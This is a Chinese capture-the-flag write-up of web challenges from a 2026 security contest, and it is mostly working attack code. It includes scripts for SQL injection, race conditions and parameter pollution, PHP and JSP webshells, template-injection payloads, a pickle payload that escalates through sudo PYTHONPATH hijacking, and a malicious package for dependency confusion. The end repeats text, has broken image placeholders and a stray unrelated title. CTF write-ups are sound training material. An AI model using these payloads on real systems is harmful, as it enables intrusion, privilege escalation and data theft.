2026春秋杯网络安全联赛冬季赛 个人赛web部分题解

web1_信息搜集与资产暴露

Session_Leak

进入题目一个登录页面

image-20260130155520152

根据提供的账户密码登录,这里再跳转的同时发现X-Session-Key: youfindme

image-20260130160248638

猜测下面的session就是我们admin 所需要的,讲testuser换成admin,session替换重发

image-20260130162437120

这里没看见flag,猜测会有admin后台直接访问,拿到flag

image-20260130162621600

也是侥幸拿下1血,打ctf这么久的第一个一血

HyperNode

登录页面点击welcom,直接看url处存在本地文件读取

image-20260130163155062

我这里就直接fuzz

这里在../../flag直接看见flag

image-20260130163756855

Static_Secret

image-20260130164020131

最开始以为要nc连接,后面发现题目可以直接访问,感觉题目像某个框架直接漏扫

image-20260130164915276

nuclei -u http://8.147.132.32:24710

[CVE-2024-23334] [http] [high] http://8.147.132.32:24710/static/../../../../etc/passwd 

这里直接回显poc,将/etc/passwd换成/flag即可

image-20260130170450918

Dev’s Regret

image-20260130171045585

常规dirsearch扫描,发现git泄露

直接去看https://eci-2zeerrgjddofxb8yhify.cloudeci1.ichunqiu.com:80/.git/HEAD

image-20260130171200709

这里使用githacker,pip 直接安装即可

┌──(venv)─(root㉿kali)-[/home/kali/桌面/GitTools/Dumper] └─curl -k -I https://eci-2zeh92muzr71gc3kqa9b.cloudeci1.ichunqiu.com:80/.git/HEAD HTTP/2200 date: Sun,01 Feb 202615:56:21 GMT content-type: application/octet-stream content-length:23 last-modified: Sun,01 Feb 202615:34:07 GMT etag:"697f726f-17" accept-ranges:bytes ┌──(venv)─(root㉿kali)-[/home/kali/桌面/GitTools/Dumper] └─bash gitdumper.sh https://eci-2zeh92muzr71gc3kqa9b.cloudeci1.ichunqiu.com:80/.git/ final_repo [*] Destination folder does not exist [+] Creating final_repo/.git/[+] Downloaded: HEAD [+] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [+] Downloaded: COMMIT_EDITMSG [+] Downloaded: index [-] Downloaded: packed-refs [+] Downloaded: refs/heads/master [-] Downloaded: refs/remotes/origin/HEAD [-] Downloaded: refs/stash [+] Downloaded: logs/HEAD [+] Downloaded: logs/refs/heads/master [-] Downloaded: logs/refs/remotes/origin/HEAD [+] Downloaded: info/refs [+] Downloaded: info/exclude [-] Downloaded:/refs/wip/index/refs/heads/master [-] Downloaded:/refs/wip/wtree/refs/heads/master [+] Downloaded: objects/72/dab1e00ddab1b3003d0fbf6f8240b8e549c567 [-] Downloaded: objects/00/00000000000000000000000000000000000000[+] Downloaded: objects/e1/24325430adb6bfc5521de508d48b4e8e1267c8 [+] Downloaded: objects/d8/ee21ae894000b6ef5b3160ec9c95a66419d35b [+] Downloaded: objects/12/322abe307bc96cea0cfe59c4d0a528930e3091 [+] Downloaded: objects/0a/082becd9eef3550539fc448fa3c7943d44468f [+] Downloaded: objects/10/14bc8db48a5a5d50f31ca65b36811f76da6ac2 [+] Downloaded: objects/74/fe698dd5878438ac56483c6401604ad44ddb6e [+] Downloaded: objects/14/f270dc8a9682cf7a597a30a4ac1309b837a7dd [+] Downloaded: objects/a4/0ce222f3c3f1c507c77dc03200e07c803f7fdb ┌──(venv)─(root㉿kali)-[/home/kali/桌面/GitTools/Dumper] └─# cd final_repo ┌──(venv)─(root㉿kali)-[/home/…/桌面/GitTools/Dumper/final_repo] └─# git checkout . 从索引区更新了 3 个路径 ┌──(venv)─(root㉿kali)-[/home/…/桌面/GitTools/Dumper/final_repo] └─# git log --oneline --all 72dab1e (HEAD -> master) Remove sensitive flag file e124325 Initial commit with flag ┌──(venv)─(root㉿kali)-[/home/…/桌面/GitTools/Dumper/final_repo] └─# git show e124325 commit e124325430adb6bfc5521de508d48b4e8e1267c8 Author: dev <[email protected]> Date: Mon Jan 100:00:002024+0000 Initial commit with flag diff --git a/README.md b/README.md new file mode 100644 index 0000000..0a082be ---/dev/null +++ b/README.md @@ -0,0+1,2 @@ +# Devs Regret+Nothing to see here :) diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..14f270d ---/dev/null +++ b/flag.txt @@ -0,0+1 @@ +ICQ_FLAG=flag{efc2521a-903f-495f-a470-2d1ede3e0d8c}} diff --git a/index.html b/index.html new file mode 100644 index 0000000..1014bc8 commit e124325430adb6bfc5521de508d48b4e8e1267c8 Author: dev <[email protected]> Date: Mon Jan 100:00:002024+0000 Initial commit with flag diff --git a/README.md b/README.md new file mode 100644 index 0000000..0a082be ---/dev/null +++ b/README.md @@ -0,0+1,2 @@ +# Devs Regret+Nothing to see here :) diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..14f270d ---/dev/null +++ b/flag.txt @@ -0,0+1 @@ +ICQ_FLAG=flag{efc2521a-903f-495f-a470-2d1ede3e0d8c}} diff --git a/index.html b/index.html new file mode 100644 index 0000000..1014bc8 commit e124325430adb6bfc5521de508d48b4e8e1267c8 Author: dev <[email protected]> Date: Mon Jan 100:00:002024+0000 Initial commit with flag diff --git a/README.md b/README.md new file mode 100644 index 0000000..0a082be ---/dev/null +++ b/README.md @@ -0,0+1,2 @@ +# Devs Regret+Nothing to see here :) diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..14f270d ---/dev/null +++ b/flag.txt @@ -0,0+1 @@ +ICQ_FLAG=flag{efc2521a-903f-495f-a470-2d1ede3e0d8c}} diff --git a/index.html b/index.html new file mode 100644 index 0000000..1014bc8 :

web1_信访问控制与业务逻辑安全

My_Hidden_Profile

image-20260130182130796

这里看见提示Hint: The admin user has user_id=999

image-20260130182505992

这里将1改为999,再去访问/?profile

image-20260130182609587

Cyber_Mart

image-20260201163303205

这里余额只有一点,这里的想法就是同时购买两个,一个买的起的,一个买不起,后端在验证 Token 时,可能遍历了所有 order_id 发现其中有一个(Coupon)与 Token 匹配,于是判定验证通过;但在发货时,却只取了第一个 order_id (Flag),从而导致我们在只支付了 $10 的情况下拿到了 $10000 的 Flag

payload = [ ('order_id', flag_id), # 想要获取的 Flag 订单(未支付) ('order_id', coupon_id), # 用来欺骗验证的 Coupon 订单(已支付) ('payment_token', token), # Coupon 订单的合法 Token ] verify = sess.post(f'{BASE}/verify_payment', data=payload, timeout=TIMEOUT) 

根据思路让ai辅助写个脚本

import re import sys import requests BASE ='https://eci-2zebdk0zap555d3nih50.cloudeci1.ichunqiu.com:5000' TIMEOUT =10defcreate_order(sess, item_id):try: resp = sess.post(f'{BASE}/create_order', data={'item_id':str(item_id)}, timeout=TIMEOUT) m = re.search(r'Order Created: ([a-f0-9-]+)', resp.text)ifnot m:print(f'DEBUG: create_order response: {resp.text}')raise RuntimeError(f'create_order failed: {resp.text!r}')return m.group(1)except Exception as e:print(f"Error in create_order: {e}")raisedefmain(): sess = requests.Session()print("Creating order for item 1...") coupon_id = create_order(sess,1)print(f"Order 1 (Coupon) ID: {coupon_id}")print("Creating order for item 2...") flag_id = create_order(sess,2)print(f"Order 2 (Flag) ID: {flag_id}")print("Paying for order 1...") pay = sess.post(f'{BASE}/pay', data={'order_id': coupon_id}, timeout=TIMEOUT) token = pay.headers.get('X-Payment-Token')ifnot token:print(f"DEBUG: pay response: {pay.text}")print(f"DEBUG: pay headers: {pay.headers}")raise RuntimeError('missing X-Payment-Token')print(f"Payment Token: {token}")# Exploit: Parameter Pollution? payload =[('order_id', flag_id),('order_id', coupon_id),('payment_token', token),]print(f"Verifying payment with payload: {payload}") verify = sess.post(f'{BASE}/verify_payment', data=payload, timeout=TIMEOUT)print("Verify Response:")print(verify.text) m = re.search(r'(flag\{[^}]+\}|unictf\{[^}]+\})', verify.text)if m:print(f"\nFOUND FLAG: {m.group(1)}")return0return1if __name__ =='__main__': sys.exit(main())
image-20260201163640007

just_web

image-20260201164212281

令人害怕的登录框,但是弱口令爆破admin / admin123,成功登录,/profile 页面,发现文件上传功能
我们上传的新 profile.ftl 文件里,不仅仅有普通的文字,还藏了一段 特殊指令 。

FreeMarker允许在模板里写代码。如果模板里包含特定的标签,服务器在渲染页面时就会执行这些代码

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /flag")} 

利用文件上传功能,本来应该上传图片到 /static/uploads/,但是我们修改了路径…/…/…/…/app/resources/templates/profile.ftl,直接覆盖,当我们再次访问 /profile 页面时

image-20260201164841737

CORS

image-20260131122046996

这里dirsearch扫描

image-20260131122812180

看见api接口

image-20260131123249766

这里抓包api直接看见flag

Truths

image-20260201140431355

开局登录框,有点害怕,这里探测/api/product,直接访问

image-20260201140912838

再发现 除了普通商品,我们发现了一个 ID 为 999 的隐藏商品,价格高达 88888 ,而我们的初始余额只有 100
系统提供了优惠券功能( VIP-50 ),但一张优惠券只能减 50,正常购买是不可能的。这暗示我们需要利用 逻辑漏洞 或 并发竞争来多次使用优惠券或降低价格

根据思路了解到

  • 应用优惠券 ( /api/order/apply_coupon ) :尝试减少订单金额
  • 取消订单 ( /api/cancel ) :取消当前订单
  • 恢复订单 ( /api/order/reactivate ) :重新激活订单

通过极高频率地发送 应用 -> 取消 -> 恢复 序列,是订单出现逻辑错误

当监测到订单价格降为 0(或余额足够支付)时,脚本自动发送支付请求 /api/order/pay
从日志中找到flag

image-20260201141347827

根据思路让ai辅助写脚本调试就行

import socket import ssl import json import requests import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) HOST ="eci-2zefnw12rcj5cw1a653j.cloudeci1.ichunqiu.com" PORT =8000 BASE_URL =f"https://{HOST}:{PORT}"defget_token_and_order(): username =f"fast_attacker_{int(time.time())}" password ="password"for i inrange(5):try:print(f"Registering {username} (Attempt {i+1})...", flush=True) requests.post(f"{BASE_URL}/api/register", json={"username": username,"password": password}, verify=False, timeout=10) res = requests.post(f"{BASE_URL}/api/login", json={"username": username,"password": password}, verify=False, timeout=10)if res.status_code !=200:print(f"Login failed: {res.text}", flush=True) time.sleep(1)continue token = res.json()["token"]print(f"Token: {token[:10]}...", flush=True)print("Creating order for product 999...", flush=True) res = requests.post(f"{BASE_URL}/api/order/create", json={"product_id":999}, headers={"Authorization":f"Bearer {token}"}, verify=False, timeout=10)if res.status_code !=200:print(f"Order creation failed: {res.text}", flush=True) time.sleep(1)continue order_id = res.json()["order_id"] price = res.json()["total_price"]print(f"Order {order_id} created. Price: {price}", flush=True)return token, order_id, price except Exception as e:print(f"Setup error: {e}", flush=True) time.sleep(2)raise Exception("Failed to setup after 5 attempts")defbuild_request(method, path, token, body_dict): body = json.dumps(body_dict) req =f"{method}{path} HTTP/1.1\r\n" req +=f"Host: {HOST}:{PORT}\r\n" req +=f"Authorization: Bearer {token}\r\n" req +="Content-Type: application/json\r\n" req +=f"Content-Length: {len(body)}\r\n" req +="Connection: keep-alive\r\n" req +="\r\n" req += body return req defmain():try: token, order_id, start_price = get_token_and_order()except Exception as e:print(f"Critical setup error: {e}")return req_apply = build_request("POST","/api/order/apply_coupon", token,{"order_id": order_id,"coupon":"VIP-50"}) req_cancel = build_request("POST","/api/cancel", token,{"order_id": order_id}) req_reactivate = build_request("POST","/api/order/reactivate", token,{"order_id": order_id}) cycle = req_apply + req_cancel + req_reactivate BATCH_SIZE =500# Increased batch size payload = cycle * BATCH_SIZE needed = start_price //50+2print(f"Need ~{needed} successful coupon applications. Sending batches...") context = ssl.create_default_context() context.check_hostname =False context.verify_mode = ssl.CERT_NONE total_sent =0whileTrue:try:print(f"Sending batch (Total: {total_sent})...", flush=True)with socket.create_connection((HOST, PORT), timeout=10)as sock:with context.wrap_socket(sock, server_hostname=HOST)as ssock: ssock.sendall(payload.encode()) ssock.settimeout(0.5)try: ssock.recv(1024)except socket.timeout:pass total_sent += BATCH_SIZE if total_sent %5000==0:try:print("Checking price...", flush=True) res = requests.get(f"{BASE_URL}/api/orders", headers={"Authorization":f"Bearer {token}"}, verify=False, timeout=5)if res.status_code ==200: orders = res.json().get("orders",[])for o in orders:if o["order_id"]== order_id: current_price = o['total_price']print(f"Current Price: {current_price}", flush=True)if current_price <=0:print("Price low enough!", flush=True)# Pay res = requests.post(f"{BASE_URL}/api/pay", json={"order_id": order_id}, headers={"Authorization":f"Bearer {token}"}, verify=False)print(f"Payment Status Code: {res.status_code}")print(f"Payment Response Headers: {res.headers}")print(f"Payment Response Body: {res.text}", flush=True)# Write flag to file so I can read itwithopen("flag.txt","w")as f: f.write(res.text)returnbreakelse:print(f"Failed to check orders: {res.status_code}", flush=True)except Exception as e:print(f"Error checking price: {e}", flush=True)except Exception as e:print(f"Error in loop: {e}", flush=True) time.sleep(1)if __name__ =="__main__": main()

web1_注入类漏洞

Theme_Park

image-20260201143726397

一眼ai味道的前端,首先,我们利用搜索接口 /api/search 的 SQL 注入漏洞,从数据库的 config 表中提取 Flask 应用的密钥' UNION SELECT key, value FROM config --

image-20260201144217772

利用key我们在本地伪造一个包含 {‘is_admin’: True} 的 Session Cookie,也就是被序列化并进行 Base64 编码

伪造管理员 Session Cookie:Cookie: eyJpc19hZG1pbiI6dHJ1ZX0.aX70_g.HtR-X7ew9AP5ccjziappj8AToRE

伪造之后可以进入后台/admin/upload进行文件上传

image-20260201145019036

发现可以文件上传,上传文件进行测试发现只允许上传,fuzz一下发现不允许上传图片,只允许上传.zip,.html,.txt,内容测试发现正常回显{{7*7}},构建payload:{{ url_for.__globals__['os'].popen('cat /flag').read() }}发现被过滤,这里就没有继续fuzz,因为测试的时候没有过滤数字所有这里就进行16进制编码{{ url_for.__globals__['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['\x72\x65\x61\x64']() }}
上传成功之后

image-20260201150745485

NoSQL_Login

image-20260131123726961

就一个登录框,根据题目名我们要知道NoSQL 数据库在处理查询时,通常支持特定的查询操作符(如 $ne 表示"不等于")。如果在后端代码中,没有对用户输入进行严格的类型检查,直接将 JSON 对象作为查询条件传入数据库,就会导致注入漏洞
构建一个json即可绕过,没有多的过滤

image-20260131124151657

EZSQL

image-20260130182721711

根据题目知道是注入题目

这里就常规测试https://eci-2ze3j547u8fstfrsah7f.cloudeci1.ichunqiu.com:80/?id=1,发现有回显

image-20260130184329774

fuzz字符过滤,发现

OR , AND , XOR , NOT,# , -- , /* , */,空格,ORDER , BY , UNION 

用 id=1’='1 代替 id=1 OR 1=1

用 (SELECT(count(flag))FROM(flag)) 代替 SELECT count(flag) FROM flag 以绕过空格

开始盲注

无法查询 information_schema ,直接猜测表名为 flag ,列名为 flag,然后套用二分查找的方式

import requests import urllib3 urllib3.disable_warnings() url ="https://eci-2ze3j547u8fstfrsah7f.cloudeci1.ichunqiu.com:80/" flag =""print("开始注入...")for i inrange(1,100): low =32 high =126while low <= high: mid =(low + high)//2# Payload: 1'=(ascii(mid((SELECT(flag)FROM(flag)),{pos},1))>{mid})='1 payload =f"1'=(ascii(mid((SELECT(flag)FROM(flag)),{i},1))>{mid})='1"try: res = requests.get(url, params={'id': payload}, verify=False, timeout=5)if"Cyber-Deck"in res.text: low = mid +1else: high = mid -1except:pass flag +=chr(low)print(flag)ifchr(low)=='}':break
image-20260130190948561

web1_文件与配置安全

Secure_Data_Gateway

image-20260201142715823

提示 “Payload Input (Base64)”,并且后端会处理这些“序列化数据”,猜测Pickle 反序列化

在/help这里可以读文件

image-20260201142943059

在/opt/monitor.py读到源码

import shutil import os import sys defcheck_disk_space():print(f"[+] Running system monitor as user: {os.getuid()}")print("[+] Checking disk usage...")try:# 这里是漏洞触发点 total, used, free = shutil.disk_usage("/")print(f"Total: {total //(2**30)} GB")print(f"Used: {used //(2**30)} GB")print(f"Free: {free //(2**30)} GB")except Exception as e:print(f"Error: {e}")if __name__ =="__main__":print("--- Monitor Tool v1.0 ---")print(f"Python path is: {sys.path}") check_disk_space()

结合题目提示的 sudo 权限,我们可以创建shutil.py,然后sudo PYTHONPATH=/tmp /usr/local/bin/python3 /opt/monitor.py,这样让题目运行的时候去找我们的创建的模块然后直接去获取flag打印出来

import pickle import base64 import subprocess classRCE:def__reduce__(self):# 恶意的 shutil.py 内容 malicious_code =""" import os def disk_usage(path): os.system('cat /root/flag* > /tmp/flag.txt 2>&1') os.system('chmod 777 /tmp/flag.txt') return (1, 1, 1) """# Base64 编码以避免 Shell 特殊字符干扰 b64_code = base64.b64encode(malicious_code.encode()).decode()# 构造更健壮的 Shell 命令 create_file =f"echo {b64_code} | base64 -d > /tmp/shutil.py" run_sudo ="sudo PYTHONPATH=/tmp /usr/local/bin/python3 /opt/monitor.py"return(subprocess.call,(["sh","-c",f"{create_file}; {run_sudo}"],)) payload = base64.b64encode(pickle.dumps(RCE())).decode()print(payload)

Easy_upload

image-20260201141901674

测试一下发现,允许上传 .jpg 文件,且文件会保存,上传 .config 文件,服务器会将其重命名为 .htaccess ,随后删除,这里肯定想到条件竞争
这里直接让ai写个条件竞争脚本

import requests import threading import time import urllib3 import os # 禁用 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BASE_URL ="https://eci-2zecmsrfj73ipuwnl4vy.cloudeci1.ichunqiu.com:80" UPLOAD_URL =f"{BASE_URL}/upload.php" SHELL_URL =f"{BASE_URL}/uploads/shell.jpg"defprepare_files():"""如果文件不存在,则自动创建"""ifnot os.path.exists("shell.jpg"):print("[*] Creating shell.jpg...")withopen("shell.jpg","wb")as f: f.write(b"<?php system($_GET['cmd']); ?>")ifnot os.path.exists("exploit.config"):print("[*] Creating exploit.config...")withopen("exploit.config","wb")as f: f.write(b"AddType application/x-httpd-php .jpg")defupload_shell():print("[*] Uploading shell.jpg...") files ={'file':('shell.jpg',open('shell.jpg','rb'),'image/jpeg')} data ={'upload_res':'1'}try: r = requests.post(UPLOAD_URL, files=files, data=data, verify=False)if"Asset deployed at"in r.text:print("[+] shell.jpg uploaded successfully.")returnTrueelse:print("[-] Upload failed (might already exist).")returnTrueexcept Exception as e:print(f"[-] Error uploading shell: {e}")returnFalsedefupload_config():try: files ={'file':('exploit.config',open('exploit.config','rb'),'application/octet-stream')} data ={'upload_conf':'1'} requests.post(UPLOAD_URL, files=files, data=data, verify=False)except:passdeftrigger_shell():try: r = requests.get(SHELL_URL, params={'cmd':'cat /flag'}, verify=False, timeout=5)if"flag{"in r.text:print(f"[+] FLAG FOUND: {r.text.strip()}")returnTrue, r.text.strip()except:passreturnFalse,Nonedefattack():# 关键步骤:先准备文件 prepare_files()ifnot upload_shell():print("[-] Could not upload shell. Aborting.")returnprint("[*] Starting race condition attack to read flag...") stop_event = threading.Event()defuploader():whilenot stop_event.is_set(): upload_config() time.sleep(0.05)defrequester():whilenot stop_event.is_set(): found, flag = trigger_shell()if found: stop_event.set()print(f"[!] Success! Flag: {flag}") time.sleep(0.05) threads =[]# 增加线程数以提高竞争成功率for _ inrange(10): t = threading.Thread(target=uploader) t.start() threads.append(t)for _ inrange(10): t = threading.Thread(target=requester) t.start() threads.append(t)try:whilenot stop_event.is_set(): time.sleep(1)except KeyboardInterrupt: stop_event.set()for t in threads: t.join()if __name__ =="__main__": attack()
image-20260201142437704

web2_服务端请求与解析缺陷

Nexus_AI_Bridge

image-20260201154504760

跟着题目访问登录,这里去看/docs.php

image-20260201154700191

这里直接ssrf打url=http://0.0.0.0/assets/system/link.php?target=http://0.0.0.0/%252566lag.php

image-20260201161253830

URL_Fetcher

image-20260131154908864

可以查看源代码,点击之后访问不到,直接127.0.0.1,

image-20260131155017907

这里进制访问,被过滤了,尝试localhost和127.1,这里发现简写没有被过滤,后面尝试,3306,80/8080,6379,SSRF 打redis

image-20260131155138299
image-20260131155429587

web2_模板与反序列化漏洞

Magic_Methods

<?phphighlight_file(__FILE__);classCmdExecutor{public$cmd;publicfunctionwork(){system($this->cmd);}}classMiddleMan{public$obj;publicfunctionprocess(){$this->obj->work();}}classEntryPoint{public$worker;publicfunction__destruct(){$this->worker->process();}}if(isset($_GET['payload'])){$data=$_GET['payload'];unserialize($data);}else{echo"";}?>

很简单的反序列化题目

<?phpclassCmdExecutor{public$cmd;}classMiddleMan{public$obj;}classEntryPoint{public$worker;}$e=newCmdExecutor();$e->cmd="env";$m=newMiddleMan();$m->obj=$e;$e1=newEntryPoint();$e1->worker=$m;echoserialize($e1t);?>
O:10:"EntryPoint":1:{s:6:"worker";O:9:"MiddleMan":1:{s:3:"obj";O:11:"CmdExecutor":1:{s:3:"cmd";s:3:"env";}}} 
image-20260131130128312

Hello User

image-20260130191105009

进来之后猜测ssti模板注入直接测试{{7*7}}

fenjing一把梭

image-20260130193027680

web2_供应链与依赖安全

Internal_maneger

通过查看题目提供的附件
我们获取了构建配置文件 requirements.txt

flask==2.3.3 requests==2.31.0 # Private internal utility package - DO NOT REMOVE sys-core-utils>=1.0.2 

我们上传一个同名包 sys-core-utils ,但版本号设置为极高的 9.9.9 ,构建系统就会优先安装我们上传的恶意包,而不是系统内部的低版本包,然后上传,/souce拿flag

from setuptools import setup import os import subprocess defexec_1():# ... (恶意代码: 读取 /flag 并回显) ...pass exec_1() setup( name='sys-core-utils', version='9.9.9', description='Exploit Payload', packages=[],)

创建一个文件夹,把脚本放进去

┌──(root㉿kali)-[/home/kali/桌面/sys-core-utils-9.9.9] └─# cd ..  ┌──(root㉿kali)-[/home/kali/桌面] └─# echo "Metadata-Version: 1.0" > sys-core-utils-9.9.9/PKG-INFO ┌──(root㉿kali)-[/home/kali/桌面] └─# echo "Name: sys-core-utils" >> sys-core-utils-9.9.9/PKG-INFO ┌──(root㉿kali)-[/home/kali/桌面] └─# echo "Version: 9.9.9" >> sys-core-utils-9.9.9/PKG-INFO ┌──(root㉿kali)-[/home/kali/桌面] └─# echo "Summary: Exploit Payload" >> sys-core-utils-9.9.9/PKG-INFO ┌──(root㉿kali)-[/home/kali/桌面] └─# tar -czvf sys-core-utils-9.9.9.tar.gz sys-core-utils-9.9.9/ sys-core-utils-9.9.9/ sys-core-utils-9.9.9/setup.py sys-core-utils-9.9.9/PKG-INFO ┌──(root㉿kali)-[/home/kali/桌面] └─# ls11111 GitHack-master 111.py MCP-Kali-Server-main 激活虚拟环境 MCP-Kali-Server-main.zip dirsearch poster_lsb.png docker pwnpasi-main dvcs-ripper-master Python-dsstore-master easyjail sqlmap flask-session-cookie-manager-master sys-core-utils-9.9.9 GitHacker-master sys-core-utils-9.9.9.tar.gz ┌──(root㉿kali)-[/home/kali/桌面] └─# chmod +x *.gz  ┌──(root㉿kali)-[/home/kali/桌面] └─# curl -k -F "[email protected]" https://eci-2zegch58na8qo3xwtz56.cloudeci1.ichunqiu.com:5000/upload<!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link. ┌──(root㉿kali)-[/home/kali/桌面] └─# curl -k -X POST https://eci-2zegch58na8qo3xwtz56.cloudeci1.ichunqiu.com:5000/build<!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link. ┌──(root㉿kali)-[/home/kali/桌面] └─# curl -k https://eci-2zegch58na8qo3xwtz56.cloudeci1.ichunqiu.com:5000/source FLAG: flag{dd9a9381-1a73-4941-87a0-dea30cab1d8a}
image-20260131154134315

LookLook

又是一个一血开心

代码审计一下

//index.js// 在模块加载时,立即读取 Flag 到局部变量 _0x4e8aconst _0x4e8a = process.env['ICQ_FLAG'];// 立即删除环境变量中的 Flag// 这导致 app.js 中的 /admin 路由即使被访问,也拿不到 Flagdelete process.env['ICQ_FLAG']; module.exports ={init:function(){returnfunction(req, res, next){const _0x9f3a = req.method;const _0x1d5e = req.url; console.log(`[FAST-LOGGER] ${_0x9f3a}${_0x1d5e}`);// [关键点3] 后门逻辑// 检查 HTTP 请求头 'x-poison-check'const _0x7b2d = req.headers['x-poison-check'];// 如果值为 'reveal',直接返回保存的 Flag (_0x4e8a)if(_0x7b2d ==='reveal'){return res.json({status:'backdoor_active',payload: _0x4e8a });}next();};}};
image-20260201151317082
image-20260201151428896

发现存在限制,于是可以构造一个带有特定 Header 的请求来触发后门,代码专门去查有没有一个叫 ‘x-poison-check’ 的头

image-20260201152239083

Nexus

image-20260201152600902

这里根据扫到的去访问

image-20260201152646292

文件内容显示项目依赖了一个名为 sky-tech/light-logger 的库,并且在 scripts 中暴露了一个测试文件路径,进一步访问

image-20260201152754109

发现可以文件读取

image-20260201153040992

nebula_cloud

首先,我们访问网站并查看页面源代码,再访问static/js/app.min.js发现

image-20260201153704086

跟着去访问文件夹

image-20260201153734170

这里看见dev/backups/infra/terraform.tfstate,访问下载打开

image-20260201154015698

web2_中间件与组件安全

Forgotten_Tomcat

image-20260130193424307

经典框架,Tomcat 的后台管理接口 /manager/html

直接访问

image-20260130193613998

这里需要登录,直接抓包,弱口令爆破,得到用户名和密码admin/passwd

image-20260130194050628

参考Tomcat常见漏洞汇总 - FreeBuf网络安全行业门户

<%@ page import="java.util.*,java.io.*"%> <pre> <% if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); InputStream in = p.getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); out.println(s.hasNext() ? s.next() : ""); } %> </pre> 
image-20260130195042581

这个位置可以上传文件,将shell.jsp压缩为111.war

image-20260130195558989

上传成功可以直接开始命令执行

image-20260130195637242

RSS_Parser

image-20260130195926378

经典xxe,下面模板已经给了直接读文件

<?xml version="1.0"?><!DOCTYPEfoo[<!ELEMENTfooANY> <!ENTITY xxe SYSTEM "file:///tmp/flag.txt" > ]><rssversion="2.0"><channel><title>My Feed</title><item><title>&xxe;</title></item></channel></rss>
image-20260130200227907

Server_Monitorv

image-20260130201720412
image-20260130201723759

dirsearch扫到api.php,/assets/

image-20260130201901872

script.js,style.css

const ctx = document.getElementById('latencyChart').getContext('2d');const chart =newChart(ctx,{type:'line',data:{labels:['0s','3s','6s','9s','12s'],datasets:[{label:'Latency (Google DNS)',data:[12,19,15,17,14],borderColor:'#00aaff',tension:0.4}]},options:{responsive:true}});functioncheckSystemLatency(){const statusDiv = document.getElementById('ping-status');const formData =newFormData(); formData.append('target','8.8.8.8');fetch('api.php',{method:'POST',body: formData }).then(response=> response.json()).then(data=>{if(data.status ==='success'){ statusDiv.innerText =`Last check: ${data.output} ms`;}else{ console.warn('Monitor Error:', data.message);}}).catch(err=> console.error('API Error', err));}setInterval(checkSystemLatency,5000);
body{background-color: #0f0f12;color: #e0e0e0;font-family:'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;margin: 0;padding: 20px;}header{display: flex;justify-content: space-between;align-items: center;border-bottom: 2px solid #2c2c35;padding-bottom: 20px;margin-bottom: 30px;}.status-ok{color: #00ff88;text-shadow: 0 0 10px #00ff88;}.grid-container{display: grid;grid-template-columns:repeat(auto-fit,minmax(250px, 1fr));gap: 20px;}.card{background: #1a1a20;border: 1px solid #2c2c35;border-radius: 8px;padding: 20px;box-shadow: 0 4px 6px rgba(0,0,0,0.3);}h3{margin-top: 0;color: #888;font-size: 0.9em;text-transform: uppercase;}.metric{font-size: 2.5em;font-weight: bold;margin: 10px 0;}.sub-text{color: #555;font-size: 0.8em;}#ping-status{font-size: 0.8em;color: #00aaff;margin-top: 10px;}
image-20260130202856709

到这里没思路了,后面去搜索标题之类的,说S.H.I.E.L.D. Server Monitor ,这是一个典型的系统监控界面,通常包含 Ping 检测等功能,这暗示可能存在命令注入漏洞
于是抓包/api.php尝试
这里注意assets/script.js

functioncheckSystemLatency(){const statusDiv = document.getElementById('ping-status');const formData =newFormData();// 关键点在这里!明确定义了参数名为 'target' formData.append('target','8.8.8.8');fetch('api.php',{method:'POST',body: formData })// ...}

formData.append(‘target’, ‘8.8.8.8’); ,这就告诉我们后端 API 期望接收一个名为 target的参数

image-20260130204314939

这里测试直接拿到flag

in-bottom: 30px;
}
.status-ok { color: #00ff88; text-shadow: 0 0 10px #00ff88; }
.grid-container {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 20px;
}
.card {
background: #1a1a20;
border: 1px solid #2c2c35;
border-radius: 8px;
padding: 20px;
box-shadow: 0 4px 6px rgba(0,0,0,0.3);
}
h3 { margin-top: 0; color: #888; font-size: 0.9em; text-transform: uppercase; }
.metric { font-size: 2.5em; font-weight: bold; margin: 10px 0; }
.sub-text { color: #555; font-size: 0.8em; }
#ping-status { font-size: 0.8em; color: #00aaff; margin-top: 10px; }

 [外链图片转存中...(img-NqhC8EbI-1769962745549)] 到这里没思路了,后面去搜索标题之类的,说S.H.I.E.L.D. Server Monitor ,这是一个典型的系统监控界面,通常包含 Ping 检测等功能,这暗示可能存在命令注入漏洞 于是抓包/api.php尝试 这里注意assets/script.js ```js function checkSystemLatency() { const statusDiv = document.getElementById('ping-status'); const formData = new FormData(); // 关键点在这里!明确定义了参数名为 'target' formData.append('target', '8.8.8.8'); fetch('api.php', { method: 'POST', body: formData }) // ... } 

formData.append(‘target’, ‘8.8.8.8’); ,这就告诉我们后端 API 期望接收一个名为 target的参数

[外链图片转存中…(img-rsUs4guI-1769962745549)]

这里测试直接拿到flag

Read more

【VR音游】音符轨道系统开发实录与原理解析(OpenXR手势交互)

【VR音游】音符轨道系统开发实录与原理解析(OpenXR手势交互)

